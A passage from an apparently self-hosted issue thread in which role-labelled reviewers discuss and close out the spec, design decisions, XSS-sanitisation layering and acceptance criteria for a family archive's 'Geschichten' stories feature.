with the rest of the app. This is a brand decision, not a development decision — but it needs to be made before any Geschichten page is built. **2. Turquoise contrast — flagged and accepted in spec.** The person-integration spec explicitly notes: _"Turquoise (#00C7B1) auf Weiß = 2.8:1 — für diesen kleinen UI-Hinweis akzeptabel, aber kein Body-Text."_ This is a documented, deliberate exception for the "+ Geschichte schreiben" link at 10px. I accept it at that size. Hard rule: turquoise must never be used at ≥12px on white without re-checking contrast. **3. BottomSheet on mobile — does it exist?** The reader-journey spec (R-2) shows `… Menü` on mobile opening a BottomSheet with Bearbeiten + Löschen. `grep -r BottomSheet` in the frontend finds nothing. This is a new component. If it's built as part of this feature, it should be designed and scoped in a separate sub-issue — the pattern will be reused elsewhere (the document page likely has the same mobile action pattern). **4. Filter pills and the active state.** Spec R-1 impl-ref confirms `aria-pressed="true|false"` on each pill — my earlier recommendation validated. One addition: when no filter is active, the "Alle" pill has `aria-pressed="true"`. When a person is selected, "Alle" gets `aria-pressed="false"`. This needs to be explicit in the implementation so keyboard users understand the current filter state. ### Recommendations - Decide on Fraunces vs Merriweather before the first Geschichten template is built. - Scope the BottomSheet component as its own deliverable or use a simpler fallback (render Bearbeiten/Löschen in a `<details>` on mobile) for MVP. - Add `aria-label="Person filtern"` to the "Person wählen" typeahead trigger button. - Confirm the `aria-pressed` implementation covers the "Alle" pill deselection state.
Author
Owner

🛠️ Tobias Wendt — DevOps & Platform Engineer (spec review)

Short update — the specs don't change the infrastructure picture, but there are three new operational details worth noting.

Document detail page: two parallel API calls

The document-integration spec adds geschichten loading to the document detail page's +page.server.ts. This page currently makes one API call (GET /api/documents/{id}). After this feature it makes two in parallel:

  • GET /api/documents/{id} (existing)
  • GET /api/geschichten?documentId={id}&status=PUBLISHED (new)

SvelteKit Promise.all handles this cleanly. Performance impact is negligible — both queries hit the same PostgreSQL instance, the geschichten query uses the indexed join table. No new infrastructure needed. Just confirm both calls are parallelised in the load function, not sequential.

Fraunces font: Google Fonts dependency

The spec HTML files load Fraunces from fonts.googleapis.com. If this font is adopted in the actual app, the frontend's <head> will need a <link> to Google Fonts — or the font must be self-hosted.

For a family archive running on a self-hosted VPS with GDPR considerations: Google Fonts requests expose visitor IPs to Google. Self-hosting is straightforward (fontsource npm package or manually download WOFF2 files). If Fraunces is adopted, self-host it. The existing Merriweather and Montserrat should be audited for the same reason.

New API filter parameters

The specs introduce GET /api/geschichten?personId={id} and GET /api/geschichten?documentId={id}. Both are read-only and use indexed FK columns on the join tables (assuming V58 creates the indexes). No new infrastructure; just backend query additions.

No changes to docker-compose.yml, no new volumes, no new services. My earlier observation stands: this feature is entirely in-process.

Recommendations

  • Parallelise the two +page.server.ts calls on the document detail page with Promise.all.
  • If Fraunces is adopted: add @fontsource/fraunces to package.json and serve it locally. Do not load from Google Fonts in production.
  • No migration needed beyond V58 as previously scoped.
## 🛠️ Tobias Wendt — DevOps & Platform Engineer _(spec review)_ Short update — the specs don't change the infrastructure picture, but there are three new operational details worth noting. ### Document detail page: two parallel API calls The document-integration spec adds `geschichten` loading to the document detail page's `+page.server.ts`. This page currently makes one API call (`GET /api/documents/{id}`). After this feature it makes two in parallel: - `GET /api/documents/{id}` (existing) - `GET /api/geschichten?documentId={id}&status=PUBLISHED` (new) SvelteKit `Promise.all` handles this cleanly. Performance impact is negligible — both queries hit the same PostgreSQL instance, the geschichten query uses the indexed join table. No new infrastructure needed. Just confirm both calls are parallelised in the load function, not sequential. ### Fraunces font: Google Fonts dependency The spec HTML files load Fraunces from `fonts.googleapis.com`. If this font is adopted in the actual app, the frontend's `<head>` will need a `<link>` to Google Fonts — or the font must be self-hosted. For a family archive running on a self-hosted VPS with GDPR considerations: Google Fonts requests expose visitor IPs to Google. Self-hosting is straightforward (`fontsource` npm package or manually download WOFF2 files). If Fraunces is adopted, self-host it. The existing Merriweather and Montserrat should be audited for the same reason. ### New API filter parameters The specs introduce `GET /api/geschichten?personId={id}` and `GET /api/geschichten?documentId={id}`. Both are read-only and use indexed FK columns on the join tables (assuming V58 creates the indexes). No new infrastructure; just backend query additions. No changes to `docker-compose.yml`, no new volumes, no new services. My earlier observation stands: this feature is entirely in-process. ### Recommendations - Parallelise the two `+page.server.ts` calls on the document detail page with `Promise.all`. - If Fraunces is adopted: add `@fontsource/fraunces` to `package.json` and serve it locally. Do not load from Google Fonts in production. - No migration needed beyond V58 as previously scoped.
Author
Owner

📋 Elicit — Requirements Engineer (spec review)

The four spec files are high quality — impl-ref tables, visual mockups, and explicit implementation decisions are exactly what makes a spec actionable. My role here is to compare what the specs specify against what the issue acceptance criteria cover, and surface the gaps before they become undocumented scope.

Scope introduced by specs but absent from the issue

1. ?documentId= filter on the index page (untracked)
Spec D-2 shows "Alle anzeigen" linking to /geschichten?documentId=xxx. The index page (US-BLOG-004) has no acceptance criterion for document-based filtering. This is functionally distinct from the person filter — different query path, different UI (no pill shows up for it).

Proposed AC addition to US-BLOG-004:

Given I navigate to /geschichten?documentId=X, when the page loads, then only published stories referencing document X are displayed, with no filter pill UI required.

2. Pre-fill via URL query parameters (untracked)
Specs P-1 and D-2 introduce contextual entry points: /geschichten/new?personId=X and /geschichten/new?documentId=X. No user story covers this. It affects the /new route's server-side load function (now requires entity validation) and the editor's initial state (chips pre-populated from URL params).

Proposed new AC under US-BLOG-002:

Given I navigate to /geschichten/new?personId=X, when the editor opens, then Person X appears as a pre-selected chip in the Personen field.
Given the ID in the URL parameter does not correspond to a known entity, when the editor opens, then no chip is pre-selected and no error is shown.

3. "+ Geschichte schreiben/anhängen" action links (untracked)
Both integration specs show action links for BLOG_WRITERs:

  • "+ Geschichte schreiben" on the person page → US-BLOG-002 could own this, but currently only covers the editor's attach interactions, not the discovery entry point
  • "+ Geschichte anhängen" in the document drawer → US-BLOG-005 describes readers discovering stories but has no BLOG_WRITER-specific AC

These should be added to the appropriate user stories before V58 is written, otherwise the feature is partially undocumented.

4. "Alle anzeigen" threshold inconsistency (spec conflict)
Spec P-1 impl-ref: {#if geschichten.length >= 3} (show link when 3 or more).
Spec D-2 impl-ref: only wenn stories.length > 3 (show link when more than 3).

These are different thresholds. One is wrong. Confirm: does the link appear at exactly 3 stories or only from 4+? Add this as a concrete test case in the acceptance criteria.

5. Mobile action pattern for BLOG_WRITER on detail page (untracked)
US-BLOG-006 states BLOG_WRITERs see "Bearbeiten and Löschen". Spec R-2 shows these move to a … Menü BottomSheet on mobile. No AC covers this mobile variant.

Proposed AC addition to US-BLOG-006:

Given I am a BLOG_WRITER on a mobile device (≤768px), when I view a story, then Bearbeiten and Löschen are accessible via the … menu, not displayed inline.

Recommendations

  • Resolve the >= 3 vs > 3 threshold inconsistency between the person and document specs before implementation. Add it as a concrete AC threshold.
  • Add pre-fill ACs to US-BLOG-002 (two scenarios: valid ID and invalid/missing ID).
  • Add a minimal AC to US-BLOG-004 or US-BLOG-005 for the ?documentId= filter path.
  • Add mobile action variant AC to US-BLOG-006.
  • Confirm: is "person discovery via person page" fully covered by the current user stories, or does it need its own US? The Jobs-to-be-Done states "When I look up Opa Franz in the archive, I want to find all stories about him" — US-BLOG-004 covers the index page but no story explicitly covers the person-page card as an entry point.
## 📋 Elicit — Requirements Engineer _(spec review)_ The four spec files are high quality — impl-ref tables, visual mockups, and explicit implementation decisions are exactly what makes a spec actionable. My role here is to compare what the specs specify against what the issue acceptance criteria cover, and surface the gaps before they become undocumented scope. ### Scope introduced by specs but absent from the issue **1. `?documentId=` filter on the index page (untracked)** Spec D-2 shows "Alle anzeigen" linking to `/geschichten?documentId=xxx`. The index page (US-BLOG-004) has no acceptance criterion for document-based filtering. This is functionally distinct from the person filter — different query path, different UI (no pill shows up for it). _Proposed AC addition to US-BLOG-004:_ > **Given** I navigate to `/geschichten?documentId=X`, **when** the page loads, **then** only published stories referencing document X are displayed, with no filter pill UI required. **2. Pre-fill via URL query parameters (untracked)** Specs P-1 and D-2 introduce contextual entry points: `/geschichten/new?personId=X` and `/geschichten/new?documentId=X`. No user story covers this. It affects the `/new` route's server-side load function (now requires entity validation) and the editor's initial state (chips pre-populated from URL params). _Proposed new AC under US-BLOG-002:_ > **Given** I navigate to `/geschichten/new?personId=X`, **when** the editor opens, **then** Person X appears as a pre-selected chip in the Personen field. > **Given** the ID in the URL parameter does not correspond to a known entity, **when** the editor opens, **then** no chip is pre-selected and no error is shown. **3. "+ Geschichte schreiben/anhängen" action links (untracked)** Both integration specs show action links for BLOG_WRITERs: - "+ Geschichte schreiben" on the person page → US-BLOG-002 could own this, but currently only covers the editor's attach interactions, not the discovery entry point - "+ Geschichte anhängen" in the document drawer → US-BLOG-005 describes readers discovering stories but has no BLOG_WRITER-specific AC These should be added to the appropriate user stories before V58 is written, otherwise the feature is partially undocumented. **4. "Alle anzeigen" threshold inconsistency (spec conflict)** Spec P-1 impl-ref: `{#if geschichten.length >= 3}` (show link when 3 or more). Spec D-2 impl-ref: `only wenn stories.length > 3` (show link when more than 3). These are different thresholds. One is wrong. Confirm: does the link appear at exactly 3 stories or only from 4+? Add this as a concrete test case in the acceptance criteria. **5. Mobile action pattern for BLOG_WRITER on detail page (untracked)** US-BLOG-006 states BLOG_WRITERs see "Bearbeiten and Löschen". Spec R-2 shows these move to a `… Menü` BottomSheet on mobile. No AC covers this mobile variant. _Proposed AC addition to US-BLOG-006:_ > **Given** I am a BLOG_WRITER on a mobile device (≤768px), **when** I view a story, **then** Bearbeiten and Löschen are accessible via the … menu, not displayed inline. ### Recommendations - Resolve the `>= 3` vs `> 3` threshold inconsistency between the person and document specs before implementation. Add it as a concrete AC threshold. - Add pre-fill ACs to US-BLOG-002 (two scenarios: valid ID and invalid/missing ID). - Add a minimal AC to US-BLOG-004 or US-BLOG-005 for the `?documentId=` filter path. - Add mobile action variant AC to US-BLOG-006. - Confirm: is "person discovery via person page" fully covered by the current user stories, or does it need its own US? The Jobs-to-be-Done states "When I look up Opa Franz in the archive, I want to find all stories about him" — US-BLOG-004 covers the index page but no story explicitly covers the person-page card as an entry point.
Author
Owner

Decisions Resolved

Three open questions from the persona reviews are now closed.

1. Font — Merriweather (no change)

Fraunces is not adopted. Story pages use the existing font-serif (Merriweather) like the rest of the app. No new --font-display CSS variable, no new font dependency, no GDPR concern.

2. "Alle anzeigen" threshold — >= 3

The person-spec rule wins: show the "Alle anzeigen" / "Alle Geschichten" footer link when geschichten.length >= 3. Apply consistently to both the GeschichtenCard on /persons/[id] and the Geschichten column in DocumentMetadataDrawer.

3. Rich-text editor — Tiptap (already installed)

contenteditable + execCommand is out. Tiptap is in. It is already a project dependency (@tiptap/core, @tiptap/starter-kit, @tiptap/extension-mention at 3.22.5) — no new packages needed. This also closes the paste-injection XSS risk Nora flagged, since Tiptap controls its own input pipeline.

Implementation notes:

  • Use @tiptap/starter-kit for the writer editor (bold, italic, lists, headings are sufficient for MVP).
  • The body field stores and reads HTML — the getHTML() / setContent() API handles serialization.
  • On the reader side, {@html sanitizedBody} with DOMPurify is still required even with Tiptap on the write side (defence-in-depth for any content already in the DB or imported via API).
  • The writer-journey spec's toolbar mock (B/I/U/list buttons) maps naturally to Tiptap editor.chain() commands — no custom extensions needed for MVP.
## ✅ Decisions Resolved Three open questions from the persona reviews are now closed. ### 1. Font — Merriweather (no change) Fraunces is **not** adopted. Story pages use the existing `font-serif` (Merriweather) like the rest of the app. No new `--font-display` CSS variable, no new font dependency, no GDPR concern. ### 2. "Alle anzeigen" threshold — `>= 3` The person-spec rule wins: show the "Alle anzeigen" / "Alle Geschichten" footer link when `geschichten.length >= 3`. Apply consistently to both the `GeschichtenCard` on `/persons/[id]` and the Geschichten column in `DocumentMetadataDrawer`. ### 3. Rich-text editor — Tiptap (already installed) `contenteditable + execCommand` is **out**. Tiptap is **in**. It is already a project dependency (`@tiptap/core`, `@tiptap/starter-kit`, `@tiptap/extension-mention` at 3.22.5) — no new packages needed. This also closes the paste-injection XSS risk Nora flagged, since Tiptap controls its own input pipeline. Implementation notes: - Use `@tiptap/starter-kit` for the writer editor (bold, italic, lists, headings are sufficient for MVP). - The `body` field stores and reads HTML — the `getHTML()` / `setContent()` API handles serialization. - On the reader side, `{@html sanitizedBody}` with DOMPurify is still required even with Tiptap on the write side (defence-in-depth for any content already in the DB or imported via API). - The writer-journey spec's toolbar mock (B/I/U/list buttons) maps naturally to Tiptap `editor.chain()` commands — no custom extensions needed for MVP.
Author
Owner

Felix — implementation complete

PR: http://heim-nas:3005/marcel/familienarchiv/pulls/382

What's in

Original ACs (US-BLOG-001 through 006) plus all spec expansions: ?documentId filter on the index, ?personId/?documentId URL pre-fill on /geschichten/new, "+ Geschichte schreiben" on Person detail, "+ Geschichte anhängen" in the Document drawer, DocumentMetadataDrawer 4-column expansion, GeschichtenCard on /persons/[id].

Decisions encoded

  • Tiptap StarterKit (per the /implement argument) — Bold, Italic, Paragraph, H2/H3, BulletList, OrderedList, History.
  • No body length limit (per the /implement argument).
  • "Alle anzeigen" appears at >= 3 stories (#5758).
  • Existing font-serif (Tinos) — Fraunces is out.
  • DRAFT 404s for non-BLOG_WRITERs (NOT_FOUND, not FORBIDDEN — Nora #5746).
  • Defence-in-depth XSS chain: Tiptap on input → OWASP Java HTML Sanitizer on save → DOMPurify on render.

Test summary

  • Backend: 1474 tests pass; new — 20 service unit, 12 controller slice, 1 Testcontainers integration covering create→hide-from-reader→publish→read→delete-cascades.
  • Frontend: full Vitest pass on touched code; persons/[id]/page.server.spec.ts updated for the new geschichten Promise.all branch.
  • Manual API smoke: full lifecycle exercised end-to-end with curl + dev DB; SSR render of /geschichten confirmed with the cookie-based admin session.

Branch / commits

  • Branch: feat/issue-381-geschichten — 15 atomic commits.
  • 52 files changed (+3604 / -14).

Follow-up

  • Production groups need BLOG_WRITE granted as an admin action (local dev seeded Admins + Editor).
  • A Playwright e2e spec covering the writer + reader journey is a good next step but was scoped out for this delivery.
## ✅ Felix — implementation complete PR: **http://heim-nas:3005/marcel/familienarchiv/pulls/382** ### What's in Original ACs (US-BLOG-001 through 006) plus all spec expansions: `?documentId` filter on the index, `?personId`/`?documentId` URL pre-fill on `/geschichten/new`, "+ Geschichte schreiben" on Person detail, "+ Geschichte anhängen" in the Document drawer, `DocumentMetadataDrawer` 4-column expansion, `GeschichtenCard` on `/persons/[id]`. ### Decisions encoded - **Tiptap StarterKit** (per the `/implement` argument) — Bold, Italic, Paragraph, H2/H3, BulletList, OrderedList, History. - **No body length limit** (per the `/implement` argument). - "Alle anzeigen" appears at `>= 3` stories (#5758). - Existing `font-serif` (Tinos) — Fraunces is out. - DRAFT 404s for non-BLOG_WRITERs (NOT_FOUND, not FORBIDDEN — Nora #5746). - Defence-in-depth XSS chain: Tiptap on input → OWASP Java HTML Sanitizer on save → DOMPurify on render. ### Test summary - Backend: 1474 tests pass; new — 20 service unit, 12 controller slice, 1 Testcontainers integration covering create→hide-from-reader→publish→read→delete-cascades. - Frontend: full Vitest pass on touched code; `persons/[id]/page.server.spec.ts` updated for the new geschichten Promise.all branch. - Manual API smoke: full lifecycle exercised end-to-end with curl + dev DB; SSR render of `/geschichten` confirmed with the cookie-based admin session. ### Branch / commits - Branch: `feat/issue-381-geschichten` — 15 atomic commits. - 52 files changed (+3604 / -14). ### Follow-up - Production groups need `BLOG_WRITE` granted as an admin action (local dev seeded Admins + Editor). - A Playwright e2e spec covering the writer + reader journey is a good next step but was scoped out for this delivery.
Author
Owner

📋 AC additions resolving Elicit's review on PR #382

Three AC gaps were flagged on the implementation PR. The behaviours are implemented and tested, but the issue body should carry the explicit ACs so future maintainers don't read the route handling as "ignore unknown URL params" instead of "silently ignore". Proposed additions:

Append to US-BLOG-003 (publish flow)

Given a published story has been re-published after retraction, when status transitions DRAFT → PUBLISHED, then publishedAt is updated to the current timestamp (the previous publication time is overwritten).

Append to US-BLOG-004 (browse the index)

Given I navigate to /geschichten?documentId=X, when the page loads, then only published stories that reference document X are displayed (no filter pill UI required).

Append to US-BLOG-002 (attach persons & documents)

Given I navigate to /geschichten/new?personId=X, when the editor loads, then Person X appears as a pre-selected chip in the Personen field.

Given the URL parameter contains an ID that does not correspond to an existing entity (or that I lack permission to read), when the editor loads, then no chip is pre-selected and no error is shown — the editor opens with empty pre-fill.

These mirror the integration test in GeschichteServiceIntegrationTest, the index +page.server.ts filter handling, and the silent-ignore behaviour Nora flagged in #5746.

## 📋 AC additions resolving Elicit's review on PR #382 Three AC gaps were flagged on the implementation PR. The behaviours are implemented and tested, but the issue body should carry the explicit ACs so future maintainers don't read the route handling as "ignore unknown URL params" instead of "silently ignore". Proposed additions: ### Append to **US-BLOG-003** (publish flow) > **Given** a published story has been re-published after retraction, **when** status transitions DRAFT → PUBLISHED, **then** `publishedAt` is updated to the current timestamp (the previous publication time is overwritten). ### Append to **US-BLOG-004** (browse the index) > **Given** I navigate to `/geschichten?documentId=X`, **when** the page loads, **then** only published stories that reference document X are displayed (no filter pill UI required). ### Append to **US-BLOG-002** (attach persons & documents) > **Given** I navigate to `/geschichten/new?personId=X`, **when** the editor loads, **then** Person X appears as a pre-selected chip in the Personen field. > > **Given** the URL parameter contains an ID that does not correspond to an existing entity (or that I lack permission to read), **when** the editor loads, **then** no chip is pre-selected and no error is shown — the editor opens with empty pre-fill. These mirror the integration test in `GeschichteServiceIntegrationTest`, the index `+page.server.ts` filter handling, and the silent-ignore behaviour Nora flagged in #5746.
Sign in to join this conversation.
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: marcel/familienarchiv#381